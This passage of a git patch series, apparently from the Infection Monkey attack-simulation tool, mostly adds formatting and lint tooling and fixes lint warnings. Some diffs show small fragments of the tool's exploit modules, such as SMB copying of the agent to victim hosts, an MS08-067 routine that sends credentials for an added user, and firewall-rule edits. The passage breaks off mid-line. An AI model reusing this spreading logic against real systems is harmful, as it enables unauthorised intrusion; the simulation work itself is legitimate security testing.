../monkey/monkey_island/cc/ui, - ../monkey/common/cloud +exclude = ../monkey/monkey_island/cc/ui show-source = True max-complexity = 10 -max-line-length = 127 +max-line-length = 100 + +### ignore "whitespace before ':'" and "line break before binary operator" for compatibility with black +extend-ignore = E203, W503 ### --statistics Count the number of occurrences of each error/warning code and print a report. statistics = True diff --git a/ci_scripts/flake8_syntax_check.ini b/ci_scripts/flake8_syntax_check.ini index 969379326f3..55e470e00a7 100644 --- a/ci_scripts/flake8_syntax_check.ini +++ b/ci_scripts/flake8_syntax_check.ini @@ -2,8 +2,7 @@ ## Check syntax errors and fail the build if any are found. exclude = - ../monkey/monkey_island/cc/ui, - ../monkey/common/cloud + ../monkey/monkey_island/cc/ui select = E901, E999, From ecfc59cfd7883a0b7b77cc649e6bd01bf8e44996 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 1 Apr 2021 12:50:49 -0400 Subject: [PATCH 0118/1360] ci: fail the build if code is not formatted with black --- .travis.yml | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 509da86acd0..8cbdb7ac946 100644 --- a/.travis.yml +++ b/.travis.yml @@ -24,7 +24,7 @@ install: # Python - pip freeze - pip install -r monkey/monkey_island/requirements.txt # for unit tests -- pip install flake8 pytest pytest-cov dlint isort # for next stages +- pip install black flake8 pytest pytest-cov dlint isort # for next stages - pip install coverage # for code coverage - pip install -r monkey/infection_monkey/requirements.txt # for unit tests - pip install pipdeptree @@ -70,6 +70,9 @@ script: ## Check import order - python -m isort ./monkey --settings-file ./ci_scripts/isort.cfg +## Check that all python is properly formatted. Fail otherwise. +- python -m black --check . + ## Run unit tests and generate coverage data - cd monkey # This is our source dir - python -m pytest --cov=. # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. From 6be346267865239d419fa08cc58058da9e4a67a5 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 2 Apr 2021 16:10:00 +0530 Subject: [PATCH 0119/1360] Add configuration for black --- pyproject.toml | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 pyproject.toml diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 00000000000..97f50372bb9 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,3 @@ +[tool.black] +line-length = 100 +target-version = ['py37'] From 278326e4e474c31d479d48b86989be9c625c36f7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 5 Apr 2021 17:46:43 +0530 Subject: [PATCH 0120/1360] Fix W293 warnings --- monkey/infection_monkey/exploit/web_rce.py | 2 +- monkey/infection_monkey/post_breach/actions/schedule_jobs.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index d12e4eaa927..c5563ef72bf 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -512,7 +512,7 @@ def get_target_url(self): :return: a vulnerable URL """ return self.vulnerable_urls[0] - + def are_vulnerable_urls_sufficient(self): """ Determine whether the number of vulnerable URLs is sufficient in order to perform the full attack. diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py index 97ad75923f4..fda4a737909 100644 --- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py +++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py @@ -15,7 +15,7 @@ def __init__(self): super(ScheduleJobs, self).__init__(name=POST_BREACH_JOB_SCHEDULING, linux_cmd=' '.join(linux_cmds), windows_cmd=windows_cmds) - + def run(self): super(ScheduleJobs, self).run() remove_scheduled_jobs() From 6ffc527f316f7c895fea4f6a61020b7724b21f30 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Apr 2021 10:20:32 -0400 Subject: [PATCH 0121/1360] add pre-commit configuration pre-commit (https://pre-commit.com/) is a tool that helps you easily manage pre-commit hooks. We are using this largely for quality control by running tools like flake8 and black. --- .pre-commit-config.yaml | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 .pre-commit-config.yaml diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml new file mode 100644 index 00000000000..43e62e2f3ed --- /dev/null +++ b/.pre-commit-config.yaml @@ -0,0 +1,30 @@ +repos: + - repo: https://github.com/pycqa/isort + rev: 5.8.0 + hooks: + - id: isort + name: isort (python) + - id: isort + name: isort (cython) + types: [cython] + - id: isort + name: isort (pyi) + types: [pyi] + - repo: https://github.com/psf/black + rev: 20.8b1 + hooks: + - id: black + - repo: https://gitlab.com/pycqa/flake8 + rev: 3.9.0 + hooks: + - id: flake8 + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v2.3.0 + hooks: + - id: check-added-large-files + - id: check-case-conflict + - id: check-json + - id: check-merge-conflict + - id: detect-private-key + - id: end-of-file-fixer + - id: trailing-whitespace From 4966aaf213c0bebccfc686d36806d9ab8ad8e1ce Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Apr 2021 10:22:27 -0400 Subject: [PATCH 0122/1360] ci: freeze versions of certain packages in travis build Fix the versions of black, flake8, and isort in travis so that the same versions are being used to pass/fail the build as developers are using in their pre-commit hooks --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 8cbdb7ac946..f5cf0e5ce0c 100644 --- a/.travis.yml +++ b/.travis.yml @@ -24,7 +24,7 @@ install: # Python - pip freeze - pip install -r monkey/monkey_island/requirements.txt # for unit tests -- pip install black flake8 pytest pytest-cov dlint isort # for next stages +- pip install black==20.8b1 flake8==3.9.0 pytest pytest-cov dlint isort==5.8.0 # for next stages - pip install coverage # for code coverage - pip install -r monkey/infection_monkey/requirements.txt # for unit tests - pip install pipdeptree From 7bfdc3c7e5c8b307c2d81d68a08ec9fd2f67a307 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 5 Apr 2021 18:09:38 +0530 Subject: [PATCH 0123/1360] Fix W605 warnings --- monkey/common/network/network_utils.py | 2 +- monkey/infection_monkey/exploit/web_rce.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py index e99d0cf2bf7..eaa2bc19585 100644 --- a/monkey/common/network/network_utils.py +++ b/monkey/common/network/network_utils.py @@ -16,5 +16,5 @@ def get_host_from_network_location(network_location: str) -> str: def remove_port(url): parsed = urlparse(url) with_port = f'{parsed.scheme}://{parsed.netloc}' - without_port = re.sub(':[0-9]+(?=$|\/)', '', with_port) + without_port = re.sub(':[0-9]+(?=$|/)', '', with_port) return without_port diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index c5563ef72bf..069cbcada3d 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -235,7 +235,7 @@ def get_host_arch(self, url): resp = self.exploit(url, GET_ARCH_LINUX) if resp: # Pulls architecture string - arch = re.search('(?<=Architecture:)\s+(\w+)', resp) + arch = re.search(r'(?<=Architecture:)\s+(\w+)', resp) try: arch = arch.group(1) except AttributeError: From d0168dfb9ead5b4e314dd0bf4e61a8c9b968f462 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 5 Apr 2021 18:22:32 +0530 Subject: [PATCH 0124/1360] Fix E722 warnings --- monkey/common/utils/mongo_utils.py | 4 ++-- monkey/infection_monkey/exploit/smbexec.py | 2 +- .../exploit/tools/smb_tools.py | 6 +++--- .../exploit/tools/wmi_tools.py | 2 +- monkey/infection_monkey/network/firewall.py | 18 +++++++++--------- monkey/infection_monkey/transport/http.py | 2 +- monkey/infection_monkey/transport/tcp.py | 4 ++-- 7 files changed, 19 insertions(+), 19 deletions(-) diff --git a/monkey/common/utils/mongo_utils.py b/monkey/common/utils/mongo_utils.py index 66f60647395..6d784d7ac50 100644 --- a/monkey/common/utils/mongo_utils.py +++ b/monkey/common/utils/mongo_utils.py @@ -37,12 +37,12 @@ def fix_obj_for_mongo(o): # ISWbemObjectEx interface. Class Uint8Array ? if str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}": return o.Value - except: + except Exception: pass try: return o.GetObjectText_() - except: + except Exception: pass return repr(o) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index a9776136b4e..193b81ecf87 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -148,7 +148,7 @@ def _exploit_host(self): try: scmr.hRStartServiceW(scmr_rpc, service) status = ScanStatus.USED - except: + except Exception: status = ScanStatus.SCANNED pass T1035Telem(status, UsageEnum.SMB).send() diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index e5185b266cd..a68d52471b3 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -42,7 +42,7 @@ def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_has try: smb.logoff() - except: + except Exception: pass return None @@ -134,7 +134,7 @@ def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_has return remote_full_path LOG.debug("Remote monkey file is found but different, moving along with attack") - except: + except Exception: pass # file isn't found on remote victim, moving on try: @@ -163,7 +163,7 @@ def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_has finally: try: smb.logoff() - except: + except Exception: pass smb = None diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index e1e002d720c..f621900766d 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -58,7 +58,7 @@ def connect(self, host, username, password, domain=None, lmhash="", nthash=""): try: self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) self._dcom = dcom - except: + except Exception: dcom.disconnect() raise diff --git a/monkey/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py index a88427650ce..85191551fbb 100644 --- a/monkey/infection_monkey/network/firewall.py +++ b/monkey/infection_monkey/network/firewall.py @@ -46,7 +46,7 @@ def is_enabled(self): state = l.split()[-1].strip() return state == "ON" - except: + except Exception: return None def add_firewall_rule(self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs): @@ -61,7 +61,7 @@ def add_firewall_rule(self, name="Firewall", direction="in", action="allow", pro return True else: return False - except: + except Exception: return None def remove_firewall_rule(self, name="Firewall", **kwargs): @@ -75,7 +75,7 @@ def remove_firewall_rule(self, name="Firewall", **kwargs): return True else: return False - except: + except Exception: return None def listen_allowed(self, **kwargs): @@ -94,7 +94,7 @@ def close(self): try: for rule in list(self._rules.keys()): self.remove_firewall_rule(name=rule) - except: + except Exception: pass @@ -114,7 +114,7 @@ def is_enabled(self): return False return state == "Enable" - except: + except Exception: return None def add_firewall_rule(self, rule='allowedprogram', name="Firewall", mode="ENABLE", program=sys.executable, @@ -131,7 +131,7 @@ def add_firewall_rule(self, rule='allowedprogram', name="Firewall", mode="ENABLE return True else: return False - except: + except Exception: return None def remove_firewall_rule(self, rule='allowedprogram', name="Firewall", mode="ENABLE", program=sys.executable, @@ -145,7 +145,7 @@ def remove_firewall_rule(self, rule='allowedprogram', name="Firewall", mode="ENA return True else: return False - except: + except Exception: return None def listen_allowed(self, **kwargs): @@ -161,14 +161,14 @@ def close(self): try: for rule in list(self._rules.values()): self.remove_firewall_rule(**rule) - except: + except Exception: pass if sys.platform == "win32": try: win_ver = int(platform.version().split('.')[0]) - except: + except Exception: win_ver = 0 if win_ver > 5: app = WinAdvFirewall() diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index 1502e844c3e..e2ed053af19 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -47,7 +47,7 @@ def do_GET(self): chunk = end_range - start_range try: self.wfile.write(f.read(chunk)) - except: + except Exception: break total += chunk start_range += chunk diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py index 329ef187563..dac2a093864 100644 --- a/monkey/infection_monkey/transport/tcp.py +++ b/monkey/infection_monkey/transport/tcp.py @@ -32,13 +32,13 @@ def run(self): other = self.dest if r is self.source else self.source try: data = r.recv(READ_BUFFER_SIZE) - except: + except Exception: break if data: try: other.sendall(data) update_last_serve_time() - except: + except Exception: break self._keep_connection = True From d8e1be7d6f5f4177f5166ce75eb897c2dacde6a9 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 5 Apr 2021 18:35:07 +0530 Subject: [PATCH 0125/1360] Fix F401 warnings --- monkey/common/cloud/aws/test_aws_instance.py | 2 -- monkey/infection_monkey/exploit/smbexec.py | 3 ++- monkey/infection_monkey/network/info.py | 1 - monkey/infection_monkey/network/test_postgresql_finger.py | 1 - .../post_breach/tests/actions/test_users_custom_pba.py | 3 +-- .../telemetry/tests/attack/test_victim_host_telem.py | 2 +- monkey/monkey_island/cc/environment/environment_singleton.py | 2 +- monkey/monkey_island/cc/services/tests/test_config.py | 1 - 8 files changed, 5 insertions(+), 10 deletions(-) diff --git a/monkey/common/cloud/aws/test_aws_instance.py b/monkey/common/cloud/aws/test_aws_instance.py index 0353a0b9f0f..30f0c9d8655 100644 --- a/monkey/common/cloud/aws/test_aws_instance.py +++ b/monkey/common/cloud/aws/test_aws_instance.py @@ -1,5 +1,3 @@ -import json - import pytest import requests import requests_mock diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 193b81ecf87..c6e2424c1b6 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -7,7 +7,8 @@ from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.smb_tools import SmbTools -from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS, VictimHost +from infection_monkey.model import (DROPPER_CMDLINE_DETACHED_WINDOWS, + MONKEY_CMDLINE_DETACHED_WINDOWS) from infection_monkey.network.smbfinger import SMBFinger from infection_monkey.network.tools import check_tcp_port from infection_monkey.telemetry.attack.t1035_telem import T1035Telem diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 0aafe05402e..bc8189dc41e 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -1,4 +1,3 @@ -import ipaddress import itertools import socket import struct diff --git a/monkey/infection_monkey/network/test_postgresql_finger.py b/monkey/infection_monkey/network/test_postgresql_finger.py index 6eb01fecd67..bb6bdc49b3b 100644 --- a/monkey/infection_monkey/network/test_postgresql_finger.py +++ b/monkey/infection_monkey/network/test_postgresql_finger.py @@ -1,6 +1,5 @@ import pytest -import infection_monkey.network.postgresql_finger from infection_monkey.network.postgresql_finger import PostgreSQLFinger IRRELEVANT_EXCEPTION_STRING = "This is an irrelevant exception string." diff --git a/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py b/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py index 83af6e00aa0..5638e16ccee 100644 --- a/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py @@ -1,7 +1,6 @@ import pytest -from infection_monkey.post_breach.actions.users_custom_pba import ( - DIR_CHANGE_LINUX, DIR_CHANGE_WINDOWS, UsersPBA) +from infection_monkey.post_breach.actions.users_custom_pba import UsersPBA MONKEY_DIR_PATH = "/dir/to/monkey/" CUSTOM_LINUX_CMD = "command-for-linux" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py index 014aadb8f57..59eefc150c1 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py @@ -2,7 +2,7 @@ import pytest -from common.utils.attack_utils import ScanStatus, UsageEnum +from common.utils.attack_utils import ScanStatus from infection_monkey.model import VictimHost from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index 01e83096d0b..0c7262a96b5 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -2,7 +2,7 @@ import monkey_island.cc.resources.auth.user_store as user_store from monkey_island.cc.environment import (EnvironmentConfig, aws, password, - standard, testing) + standard) from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH __author__ = 'itay.mizeretz' diff --git a/monkey/monkey_island/cc/services/tests/test_config.py b/monkey/monkey_island/cc/services/tests/test_config.py index 6cee39fbbff..efc04ed89bd 100644 --- a/monkey/monkey_island/cc/services/tests/test_config.py +++ b/monkey/monkey_island/cc/services/tests/test_config.py @@ -1,6 +1,5 @@ import pytest -import monkey_island.cc.services.config from monkey_island.cc.environment import Environment from monkey_island.cc.services.config import ConfigService From 3e419478afe27bf3b872d428db7355a3b2d0a8b7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 5 Apr 2021 18:42:25 +0530 Subject: [PATCH 0126/1360] Fix F841 warnings --- monkey/infection_monkey/exploit/tools/smb_tools.py | 2 +- monkey/infection_monkey/exploit/win_ms08_067.py | 2 +- monkey/infection_monkey/network/info.py | 1 - 3 files changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index a68d52471b3..705f691e569 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -113,7 +113,7 @@ def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_has return None try: - tid = smb.connectTree(share_name) + smb.connectTree(share_name) except Exception as exc: LOG.debug("Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc) diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 7690f33c19f..4a5e059b94f 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -227,7 +227,7 @@ def _exploit_host(self): self._config.remote_user_pass, self._config.user_to_add).encode()) time.sleep(2) - reply = sock.recv(1000) + sock.recv(1000) LOG.debug("Exploited into %r using MS08-067", self.host) exploited = True diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index bc8189dc41e..cf43271c525 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -144,7 +144,6 @@ def get_interfaces_ranges(): for net_interface in ifs: address_str = net_interface['addr'] netmask_str = net_interface['netmask'] - ip_interface = ipaddress.ip_interface("%s/%s" % (address_str, netmask_str)) # limit subnet scans to class C only res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str))) return res From c1d4c7a0d2d68144c805180f04424c76fead5c1f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Apr 2021 12:14:49 -0400 Subject: [PATCH 0127/1360] docs: add documentation about pre-commit --- deployment_scripts/README.md | 21 ++++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index 4ee91b5b426..eaa973ff546 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -16,7 +16,7 @@ Invoke-WebRequest https://raw.githubusercontent.com/guardicore/monkey/develop/de This will download our deploy script. It's a good idea to read it quickly before executing it! -After downloading that script, execute it in `powershell`. +After downloading that script, execute it in `powershell`. The first argument is an empty directory (script can create one). The second argument is which branch you want to clone - by default, the script will check out the `develop` branch. Some example usages: @@ -63,3 +63,22 @@ After the `deploy_linux.sh` script completes, you can start the monkey island. cd infection_monkey/monkey ./monkey_island/linux/run.sh ``` + +## Pre-commit hooks + +Both the Linux and Windows deployment scrips will install and configure +[pre-commit](https://pre-commit.com/). Pre-commit is a multi-language package +manager for pre-commit hooks. It will run a set of checks when you attempt to +commit. If your commit does not pass all checks, it will be reformatted and/or +you'll be given a list of errors and warnings that need to be fixed before you +can commit. + +Our CI system runs the same checks when when pull requests are submitted. This +system may report that the build has failed if the pre-commit hooks have not +been run or all issues have not been resolved. + +### Manually installing pre-commit + +To install and configure pre-commit manually, run `pip install --user +pre-commit`. Next, go to the top level directory of this repository and run +`pre-commit install` Now, pre-commit will automatically run whenever you `git commit`. From 575b214c8ed16e3cf0a87fcd6fc50b0883ad727b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Apr 2021 13:32:13 -0400 Subject: [PATCH 0128/1360] build: setup pre-commit in deploy_linux.sh --- deployment_scripts/deploy_linux.sh | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 408aa314885..940b763d55f 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -23,6 +23,13 @@ log_message() { echo -e "DEPLOYMENT SCRIPT: $1" } +configure_precommit() { + $1 -m pip install --user pre-commit + pushd "$2" + $HOME/.local/bin/pre-commit install + popd +} + if is_root; then log_message "Please don't run this script as root" exit 1 @@ -225,5 +232,7 @@ fi sudo chmod +x "${INFECTION_MONKEY_DIR}/build_linux.sh" +configure_precommit ${python_cmd} ${monkey_home} + log_message "Deployment script finished." exit 0 From 8ed422434195d56f76dd1070e5333f4f8eb34f80 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Apr 2021 13:38:31 -0400 Subject: [PATCH 0129/1360] build: Move flake8 config to `.flake8` --- ci_scripts/flake8_linter_check.ini => .flake8 | 0 ci_scripts/flake8_syntax_check.ini | 14 -------------- 2 files changed, 14 deletions(-) rename ci_scripts/flake8_linter_check.ini => .flake8 (100%) delete mode 100644 ci_scripts/flake8_syntax_check.ini diff --git a/ci_scripts/flake8_linter_check.ini b/.flake8 similarity index 100% rename from ci_scripts/flake8_linter_check.ini rename to .flake8 diff --git a/ci_scripts/flake8_syntax_check.ini b/ci_scripts/flake8_syntax_check.ini deleted file mode 100644 index 55e470e00a7..00000000000 --- a/ci_scripts/flake8_syntax_check.ini +++ /dev/null @@ -1,14 +0,0 @@ -[flake8] - -## Check syntax errors and fail the build if any are found. -exclude = - ../monkey/monkey_island/cc/ui -select = - E901, - E999, - F821, - F822, - F823 -count = True -show-source = True -statistics = True From a7f8efa102c352d937b819b6b8d0a9b9576d2e86 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Apr 2021 13:45:18 -0400 Subject: [PATCH 0130/1360] ci: fail travis build if flake8 finds any issues --- .travis.yml | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/.travis.yml b/.travis.yml index 509da86acd0..f8425533c3b 100644 --- a/.travis.yml +++ b/.travis.yml @@ -55,17 +55,7 @@ install: script: # Check Python code ## Check syntax errors and fail the build if any are found. -- flake8 ./monkey --config=./ci_scripts/flake8_syntax_check.ini - -## Warn about linter issues. -### --exit-zero forces Flake8 to use the exit status code 0 even if there are errors, which means this will NOT fail the build. -### The output is redirected to a file. -- flake8 ./monkey --exit-zero --config=./ci_scripts/flake8_linter_check.ini > ./ci_scripts/flake8_warnings.txt -## Display the linter issues -- cat ./ci_scripts/flake8_warnings.txt -## Make sure that we haven't increased the amount of warnings. -- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=80 -- if [ $(tail -n 1 ./ci_scripts/flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi +- flake8 ./monkey ## Check import order - python -m isort ./monkey --settings-file ./ci_scripts/isort.cfg From c1929c2bd358bfd600aab226dcbe924fd6f32ca5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Apr 2021 14:26:24 -0400 Subject: [PATCH 0131/1360] ci: remove dlint from travis Issue #1075 has been created to track the task to add this back in and integrate with pre-commit --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index f8425533c3b..6796583d3f2 100644 --- a/.travis.yml +++ b/.travis.yml @@ -24,7 +24,7 @@ install: # Python - pip freeze - pip install -r monkey/monkey_island/requirements.txt # for unit tests -- pip install flake8 pytest pytest-cov dlint isort # for next stages +- pip install flake8 pytest pytest-cov isort # for next stages - pip install coverage # for code coverage - pip install -r monkey/infection_monkey/requirements.txt # for unit tests - pip install pipdeptree From 07afa27ec19ce2ea22d8ad3b8728b76fd8e2eb71 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Apr 2021 14:44:42 -0400 Subject: [PATCH 0132/1360] ci: add C901 to flake8's `extend-ignore` list Issue #1076 has been created to track the task of resolving C901 errors and removing C901 from the ignore list. --- .flake8 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.flake8 b/.flake8 index 008f0fa8271..4c673215a6a 100644 --- a/.flake8 +++ b/.flake8 @@ -7,7 +7,7 @@ max-complexity = 10 max-line-length = 100 ### ignore "whitespace before ':'" and "line break before binary operator" for compatibility with black -extend-ignore = E203, W503 +extend-ignore = E203, W503, C901 ### --statistics Count the number of occurrences of each error/warning code and print a report. statistics = True From 46be7ae0d4e08cf3cb7f0bfffd4a81f54190ff4e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Apr 2021 14:48:33 -0400 Subject: [PATCH 0133/1360] agent: resolve E741 flake8 warnings --- monkey/infection_monkey/network/firewall.py | 14 +++++++------- monkey/infection_monkey/network/info.py | 4 ++-- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py index 85191551fbb..f66bea7f4e5 100644 --- a/monkey/infection_monkey/network/firewall.py +++ b/monkey/infection_monkey/network/firewall.py @@ -41,9 +41,9 @@ def is_enabled(self): cmd = subprocess.Popen('netsh advfirewall show currentprofile', stdout=subprocess.PIPE) out = cmd.stdout.readlines() - for l in out: - if l.startswith('State'): - state = l.split()[-1].strip() + for line in out: + if line.startswith('State'): + state = line.split()[-1].strip() return state == "ON" except Exception: @@ -107,10 +107,10 @@ def is_enabled(self): cmd = subprocess.Popen('netsh firewall show state', stdout=subprocess.PIPE) out = cmd.stdout.readlines() - for l in out: - if l.startswith('Operational mode'): - state = l.split('=')[-1].strip() - elif l.startswith('The service has not been started.'): + for line in out: + if line.startswith('Operational mode'): + state = line.split('=')[-1].strip() + elif line.startswith('The service has not been started.'): return False return state == "Enable" diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index cf43271c525..22de0eebbc3 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -75,8 +75,8 @@ def get_routes(): # based on scapy implementation for route parsing ifaddr = socket.inet_ntoa(ifreq[20:24]) routes.append((dst, msk, "0.0.0.0", LOOPBACK_NAME, ifaddr)) - for l in f.readlines()[1:]: - iff, dst, gw, flags, x, x, x, msk, x, x, x = [var.encode() for var in l.split()] + for line in f.readlines()[1:]: + iff, dst, gw, flags, x, x, x, msk, x, x, x = [var.encode() for var in line.split()] flags = int(flags, 16) if flags & RTF_UP == 0: continue From 87cec0036de69c1ee757529f30ebec5eeb6b4aca Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 6 Apr 2021 10:11:34 +0300 Subject: [PATCH 0134/1360] Fixed report to show display names instead of class names of exploiters where needed --- .../exploit_processing/exploiter_descriptor_enum.py | 8 +++++++- monkey/monkey_island/cc/services/reporting/report.py | 7 +++++-- 2 files changed, 12 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 6378c77dbde..08c47117409 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -33,7 +33,7 @@ class ExploiterDescriptorEnum(Enum): MSSQL = ExploiterDescriptor('MSSQLExploiter', 'MSSQL Exploiter', ExploitProcessor) VSFTPD = ExploiterDescriptor('VSFTPDExploiter', 'VSFTPD Backdoor Exploiter', CredExploitProcessor) DRUPAL = ExploiterDescriptor('DrupalExploiter', 'Drupal Server Exploiter', ExploitProcessor) - ZEROLOGON = ExploiterDescriptor('ZerologonExploiter', 'ZeroLogon Exploiter', ZerologonExploitProcessor) + ZEROLOGON = ExploiterDescriptor('ZerologonExploiter', 'Zerologon Exploiter', ZerologonExploitProcessor) @staticmethod def __dict__() -> Dict[str, ExploiterDescriptor]: @@ -41,3 +41,9 @@ def __dict__() -> Dict[str, ExploiterDescriptor]: for descriptor in ExploiterDescriptorEnum: descriptor_dict[descriptor.value.class_name] = descriptor return descriptor_dict + + @staticmethod + def get_display_name_by_class_name(class_name: str) -> str: + return 